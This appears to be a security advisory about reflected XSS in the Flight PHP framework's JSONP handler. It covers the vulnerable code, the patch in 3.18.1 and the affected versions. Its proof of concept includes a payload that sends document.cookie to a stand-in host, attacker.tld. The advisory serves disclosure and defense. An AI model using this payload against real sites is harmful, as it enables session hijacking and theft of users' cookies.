Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
The advisory, in context
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');
No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 3.18.1
Fixed in 3.18.1
67 explicitly affected versions
v1.0, v1.1, v1.1.10, v1.1.5, v1.2, v1.2.13, v1.2.14, v1.2.15, v1.2.17, v1.2.18, v1.2.19, v1.2.20, v1.2.21, v1.2.22, v1.3.0, v1.3.1, v1.3.2, v1.3.3, v1.3.4, v1.3.5, v1.3.7, v1.3.8, v1.3.9, v2.0.0, v2.0.1, v3.0.0, v3.0.1, v3.0.2, v3.1.0, v3.1.1, v3.10.0, v3.10.1, v3.11.0, v3.11.1, v3.12.0, v3.13.0, v3.13.1, v3.14.0, v3.15.0, v3.15.1, v3.15.2, v3.15.3, v3.16.0, v3.16.1, v3.17.0, v3.17.1, v3.17.2, v3.17.3, v3.17.4, v3.18.0, v3.2.0, v3.3.0, v3.4.0, v3.4.1, v3.4.2, v3.5.0, v3.5.2, v3.5.3, v3.6.0, v3.6.1, v3.6.2, v3.7.0, v3.7.1, v3.7.2, v3.8.0, v3.8.1, v3.9.0
View affected-version evidence
{
"ranges": [
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"versions": [
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}